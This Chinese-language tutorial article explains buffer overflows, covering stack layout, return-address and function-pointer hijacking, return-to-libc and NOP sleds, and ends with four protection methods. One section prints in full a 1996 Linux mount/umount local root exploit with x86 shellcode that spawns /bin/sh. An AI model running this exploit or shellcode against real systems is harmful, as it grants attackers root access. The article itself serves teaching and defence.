摘 要 本文詳細分析了緩沖區(qū)溢出的原理，描述了網(wǎng)絡(luò)攻擊者利用緩沖區(qū)溢出漏洞進行系統(tǒng)攻擊的一般過程，最后簡單討論了幾種緩沖區(qū)溢出的保護方法。
關(guān)鍵詞 緩沖區(qū)溢出 緩沖區(qū)溢出漏洞 安全攻擊 緩沖區(qū)溢出保護
在
過去的十年中，以緩沖區(qū)溢出為攻擊類型的安全漏洞是最為常見的一種形式。更為嚴重的是，緩沖區(qū)溢出漏洞占了遠程網(wǎng)絡(luò)攻擊的絕大多數(shù)，這種攻擊可以使得一個
匿名的Internet用戶有機會獲得一臺主機的部分或全部的控制權(quán)！由于這類攻擊使任何人都有可能取得主機的控制權(quán)，所以它代表了一類極其嚴重的安全威
脅。
緩沖區(qū)溢出攻擊之所以成為一種常見的攻擊手段，其原因在于緩沖區(qū)溢出漏洞太普通了，并且易于實現(xiàn)。而且，緩沖區(qū)溢出所以成為遠程攻擊
的主要手段，其原因在于緩沖區(qū)溢出漏洞給予了攻擊者所想要的一切：殖入并且執(zhí)行攻擊代碼。被殖入的攻擊代碼以一定的權(quán)限運行有緩沖區(qū)溢出漏洞的程序，從而
得到被攻擊主機的控制權(quán)。本文簡單介紹了緩沖區(qū)溢出的基本原理和預(yù)防辦法。
一、緩沖區(qū)溢出的概念和原理
緩沖區(qū)是
內(nèi)存中存放數(shù)據(jù)的地方。在程序試圖將數(shù)據(jù)放到機器內(nèi)存中的某一個位置的時候，因為沒有足夠的空間就會發(fā)生緩沖區(qū)溢出。而人為的溢出則是有一定企圖的，攻擊
者寫一個超過緩沖區(qū)長度的字符串，植入到緩沖區(qū)，然后再向一個有限空間的緩沖區(qū)中植入超長的字符串，這時可能會出現(xiàn)兩個結(jié)果：一是過長的字符串覆蓋了相鄰
的存儲單元，引起程序運行失敗，嚴重的可導致系統(tǒng)崩潰；另一個結(jié)果就是利用這種漏洞可以執(zhí)行任意指令，甚至可以取得系統(tǒng)root特級權(quán)限。
緩
沖區(qū)是程序運行的時候機器內(nèi)存中的一個連續(xù)塊，它保存了給定類型的數(shù)據(jù)，隨著動態(tài)分配變量會出現(xiàn)問題。大多時為了不占用太多的內(nèi)存，一個有動態(tài)分配變量的
程序在程序運行時才決定給它們分配多少內(nèi)存。如果程序在動態(tài)分配緩沖區(qū)放入超長的數(shù)據(jù)，它就會溢出了。一個緩沖區(qū)溢出程序使用這個溢出的數(shù)據(jù)將匯編語言代
碼放到機器的內(nèi)存里，通常是產(chǎn)生root權(quán)限的地方。僅僅單個的緩沖區(qū)溢出并不是問題的根本所在。但如果溢出送到能夠以root權(quán)限運行命令的區(qū)域，一旦
運行這些命令，那可就等于把機器拱手相讓了。
造成緩沖區(qū)溢出的原因是程序中沒有仔細檢查用戶輸入的參數(shù)。例如下面程序：
example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}
上
面的strcpy()將直接吧input中的內(nèi)容copy到buffer中。這樣只要input的長度大于16，就會造成buffer的溢出，使程序運行
出錯。存在像strcpy這樣的問題的標準函數(shù)還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在
循環(huán)內(nèi)的getc(),fgetc(),getchar()等。
當然，隨便往緩沖區(qū)中填東西造成它溢出一般只會出現(xiàn)
Segmentation fault
錯誤，而不能達到攻擊的目的。最常見的手段是通過制造緩沖區(qū)溢出使程序運行一個用戶shell，再通過shell執(zhí)行其他命令。如果該程序?qū)儆趓oot且
有suid權(quán)限的話，攻擊者就獲得了一個有root權(quán)限的shell，便可以對系統(tǒng)進行任意操作了。
請注意，如果沒有特別說明，下面的內(nèi)容都假設(shè)用戶使用的平臺為基于Intel x86 CPU的Linux系統(tǒng)。對其他平臺來說，本文的概念同樣適用，但程序要做相應(yīng)修改。
二、制造緩沖區(qū)溢出
一個程序在內(nèi)存中通常分為程序段、數(shù)據(jù)段和堆棧三部分。程序段里放著程序的機器碼和只讀數(shù)據(jù)。數(shù)據(jù)段放的是程序中的靜態(tài)數(shù)據(jù)。動態(tài)數(shù)據(jù)則通過堆棧來存放。在內(nèi)存中，它們的位置是：
當
程序中發(fā)生函數(shù)調(diào)用時，計算機做如下操作：首先把參數(shù)壓入堆棧；然后保存指令寄存器(IP)中的內(nèi)容作為返回地址(RET)；第三個放入堆棧的是基址寄存
器(FP)；然后把當前的棧指針(SP)拷貝到FP，做為新的基地址；最后為本地變量留出一定空間，把SP減去適當?shù)臄?shù)值。以下面程序為例：
example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring [i] = 'B';
func1(longstring);
}
當調(diào)用函數(shù)func1()時，堆棧如下：
不
用說，程序執(zhí)行的結(jié)果是"Segmentation fault (core
dumped)"或類似的出錯信息。因為從buffer開始的256個字節(jié)都將被* input的內(nèi)容'B'覆蓋，包括sfp,
ret,甚至*input。'B'的16進值為0x41，所以函數(shù)的返回地址變成了0x41414141，這超出了程序的地址空間，所以出現(xiàn)段錯誤。
三、緩沖區(qū)溢出漏洞攻擊方式
緩
沖區(qū)溢出漏洞可以使任何一個有黑客技術(shù)的人取得機器的控制權(quán)甚至是最高權(quán)限。一般利用緩沖區(qū)溢出漏洞攻擊root程序，大都通過執(zhí)行類似“exec
(sh)”的執(zhí)行代碼來獲得root
的shell。黑客要達到目的通常要完成兩個任務(wù)，就是在程序的地址空間里安排適當?shù)拇a和通過適當?shù)某跏蓟拇嫫骱痛鎯ζ鳎尦绦蛱D(zhuǎn)到安排好的地址空
間執(zhí)行。
1、在程序的地址空間里安排適當?shù)拇a
在程序的地址空間里安排適當?shù)拇a往往是相對簡單的。如果要攻擊的代碼在所攻擊程
序中已經(jīng)存在了，那么就簡單地對代碼傳遞一些參數(shù)，然后使程序跳轉(zhuǎn)到目標中就可以完成了。攻擊代碼要求執(zhí)行“exec(‘/bin/sh’)”，而在
libc庫中的代碼執(zhí)行“exec(arg)”，其中的“arg”是個指向字符串的指針參數(shù)，只要把傳入的參數(shù)指針修改指向“/bin/sh”，然后再跳
轉(zhuǎn)到libc庫中的響應(yīng)指令序列就可以了。當然，很多時候這個可能性是很小的，那么就得用一種叫“植入法”的方式來完成了。當向要攻擊的程序里輸入一個字
符串時，程序就會把這個字符串放到緩沖區(qū)里，這個字符串包含的數(shù)據(jù)是可以在這個所攻擊的目標的硬件平臺上運行的指令序列。緩沖區(qū)可以設(shè)在：堆棧（自動變
量）、堆（動態(tài)分配的）和靜態(tài)數(shù)據(jù)區(qū)（初始化或者未初始化的數(shù)據(jù)）等的任何地方。也可以不必為達到這個目的而溢出任何緩沖區(qū)，只要找到足夠的空間來放置這
些攻擊代碼就夠了。
2、控制程序轉(zhuǎn)移到攻擊代碼的形式
緩沖區(qū)溢出漏洞攻擊都是在尋求改變程序的執(zhí)行流程，使它跳轉(zhuǎn)到攻擊代碼，最
為基本的就是溢出一個沒有檢查或者其他漏洞的緩沖區(qū)，這樣做就會擾亂程序的正常執(zhí)行次序。通過溢出某緩沖區(qū)，可以改寫相近程序的空間而直接跳轉(zhuǎn)過系統(tǒng)對身
份的驗證。原則上來講攻擊時所針對的緩沖區(qū)溢出的程序空間可為任意空間。但因不同地方的定位相異，所以也就帶出了多種轉(zhuǎn)移方式。
（1）Function Pointers（函數(shù)指針）
在
程序中，“void (* foo) ( )”聲明了個返回值為“void” Function Pointers的變量“foo”。Function
Pointers可以用來定位任意地址空間，攻擊時只需要在任意空間里的Function
Pointers鄰近處找到一個能夠溢出的緩沖區(qū)，然后用溢出來改變Function Pointers。當程序通過Function
Pointers調(diào)用函數(shù)，程序的流程就會實現(xiàn)。
（2）Activation Records（激活記錄）
當一個函數(shù)調(diào)用發(fā)生
時，堆棧中會留駐一個Activation
Records，它包含了函數(shù)結(jié)束時返回的地址。執(zhí)行溢出這些自動變量，使這個返回的地址指向攻擊代碼，再通過改變程序的返回地址。當函數(shù)調(diào)用結(jié)束時，程
序就會跳轉(zhuǎn)到事先所設(shè)定的地址，而不是原來的地址。這樣的溢出方式也是較常見的。
（3）Longjmp buffers（長跳轉(zhuǎn)緩沖區(qū)）
在C
語言中包含了一個簡單的檢驗/恢復系統(tǒng)，稱為“setjmp/longjmp”，意思是在檢驗點設(shè)定“setjmp(buffer)”，用longjmp
(buffer)“來恢復檢驗點。如果攻擊時能夠進入緩沖區(qū)的空間，感覺“longjmp(buffer)”實際上是跳轉(zhuǎn)到攻擊的代碼。像
Function Pointers一樣，longjmp緩沖區(qū)能夠指向任何地方，所以找到一個可供溢出的緩沖區(qū)是最先應(yīng)該做的事情。
3、植入綜合代碼和流程控制
常見的溢出緩沖區(qū)攻擊類是在一個字符串里綜合了代碼植入和Activation
Records。攻擊時定位在一個可供溢出的自動變量，然后向程序傳遞一個很大的字符串，在引發(fā)緩沖區(qū)溢出改變Activation
Records的同時植入代碼（權(quán)因C在習慣上只為用戶和參數(shù)開辟很小的緩沖區(qū)）。植入代碼和緩沖區(qū)溢出不一定要一次性完成，可以在一個緩沖區(qū)內(nèi)放置代碼
（這個時候并不能溢出緩沖區(qū)），然后通過溢出另一個緩沖區(qū)來轉(zhuǎn)移程序的指針。這樣的方法一般是用于可供溢出的緩沖區(qū)不能放入全部代碼時的。如果想使用已經(jīng)
駐留的代碼不需要再外部植入的時候，通常必須先把代碼做為參數(shù)。在libc（熟悉C的朋友應(yīng)該知道，現(xiàn)在幾乎所有的C程序連接都是利用它來連接的）中的一
部分代碼段會執(zhí)行“exec(something)”，當中的something就是參數(shù)，使用緩沖區(qū)溢出改變程序的參數(shù)，然后利用另一個緩沖區(qū)溢出使程
序指針指向libc中的特定的代碼段。
程序編寫的錯誤造成網(wǎng)絡(luò)的不安全性也應(yīng)當受到重視，因為它的不安全性已被緩沖區(qū)溢出表現(xiàn)得淋漓盡致了。
四、利用緩沖區(qū)溢出進行的系統(tǒng)攻擊
如
果已知某個程序有緩沖區(qū)溢出的缺陷，如何知道緩沖區(qū)的地址，在哪兒放入shell代碼呢？由于每個程序的堆棧起始地址是固定的，所以理論上可以通過反復重
試緩沖區(qū)相對于堆棧起始位置的距離來得到。但這樣的盲目猜測可能要進行數(shù)百至上千次，實際上是不現(xiàn)實的。解決的辦法是利用空指令NOP。在shell代碼
前面放一長串的NOP，返回地址可以指向這一串NOP中任一位置，執(zhí)行完NOP指令后程序?qū)⒓せ顂hell進程。這樣就大大增加了猜中的可能性。下面是一
個緩沖區(qū)溢出攻擊的實例，它利用了系統(tǒng)程序mount的漏洞：
example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
#include
#include
#include
#include
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}
main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell ;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
execl(PATH_MOUNT, "mount", buff, NULL);
}
程
序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。程序首先分配一塊暫存區(qū)buff,然后在buff的前面部分填滿NOP，后面部分放shell代碼。
最后部分是希望程序返回的地址，由棧地址加偏移得到。當以buff為參數(shù)調(diào)用mount時，將造成mount程序的堆棧溢出，其緩沖區(qū)被buff覆蓋，而
返回地址將指向NOP指令。
由于mount程序的屬主是root且有suid位，普通用戶運行上面程序的結(jié)果將獲得一個具有root權(quán)限的shell。
五、緩沖區(qū)溢出的保護方法
目前有四種基本的方法保護緩沖區(qū)免受緩沖區(qū)溢出的攻擊和影響：
1、強制寫正確的代碼的方法
編
寫正確的代碼是一件非常有意義但耗時的工作，特別像編寫C語言那種具有容易出錯傾向的程序（如：字符串的零結(jié)尾），這種風格是由于追求性能而忽視正確性的
傳統(tǒng)引起的。盡管花了很長的時間使得人們知道了如何編寫安全的程序，具有安全漏洞的程序依舊出現(xiàn)。因此人們開發(fā)了一些工具和技術(shù)來幫助經(jīng)驗不足的程序員編
寫安全正確的程序。雖然這些工具幫助程序員開發(fā)更安全的程序，但是由于C語言的特點，這些工具不可能找出所有的緩沖區(qū)溢出漏洞。所以，偵錯技術(shù)只能用來減
少緩沖區(qū)溢出的可能，并不能完全地消除它的存在。除非程序員能保證他的程序萬無一失，否則還是要用到以下部分的內(nèi)容來保證程序的可靠性能。
2、通過操作系統(tǒng)使得緩沖區(qū)不可執(zhí)行，從而阻止攻擊者殖入攻擊代碼
這種方法有效地阻止了很多緩沖區(qū)溢出的攻擊，但是攻擊者并不一定要殖入攻擊代碼來實現(xiàn)緩沖區(qū)溢出的攻擊，所以這種方法還是存在很多弱點的。
3、利用編譯器的邊界檢查來實現(xiàn)緩沖區(qū)的保護
這個方法使得緩沖區(qū)溢出不可能出現(xiàn)，從而完全消除了緩沖區(qū)溢出的威脅，但是相對而言代價比較大。
4、在程序指針失效前進行完整性檢查
這樣雖然這種方法不能使得所有的緩沖區(qū)溢出失效，但它的確確阻止了絕大多數(shù)的緩沖區(qū)溢出攻擊，而能夠逃脫這種方法保護的緩沖區(qū)溢出也很難實現(xiàn)。
最
普通的緩沖區(qū)溢出形式是攻擊活動紀錄然后在堆棧中殖入代碼。這種類型的攻擊在1996年中有很多紀錄。而非執(zhí)行堆棧和堆棧保護的方法都可以有效防衛(wèi)這種攻
擊。非執(zhí)行堆棧可以防衛(wèi)所有把代碼殖入堆棧的攻擊方法，堆棧保護可以防衛(wèi)所有改變活動紀錄的方法。這兩種方法相互兼容，可以同時防衛(wèi)多種可能的攻擊。
剩下的攻擊基本上可以用指針保護的方法來防衛(wèi)，但是在某些特殊的場合需要用手工來實現(xiàn)指針保護。全自動的指針保護需要對每個變量加入附加字節(jié)，這樣使得指針邊界檢查在某些情況下具有優(yōu)勢。
最為有趣的是，緩沖區(qū)溢出漏洞--Morris蠕蟲使用了現(xiàn)今所有方法都無法有效防衛(wèi)的方法，但是由于過于復雜的緣故卻很少有人用到。
在本文中，我們詳細描述和分析了緩沖區(qū)溢出的原理，并簡單介紹了幾種防衛(wèi)方法。由于這種攻擊是目前常見的攻擊手段，所以進行這個方面的研究工作是有意義和成效的。
參考文獻
[1] 網(wǎng)絡(luò)入侵檢測分析員手冊. Stephen Northcutt著.余青霓等譯.人民郵電出版社,2000.3
[2] C語言疑難問題解析. 嚴桂蘭,劉甲耀編著.華東華工學院出版社,1993,1.
[3] 網(wǎng)絡(luò)最高安全技術(shù)指南. 王銳等譯.機械工業(yè)出版社,1998,5.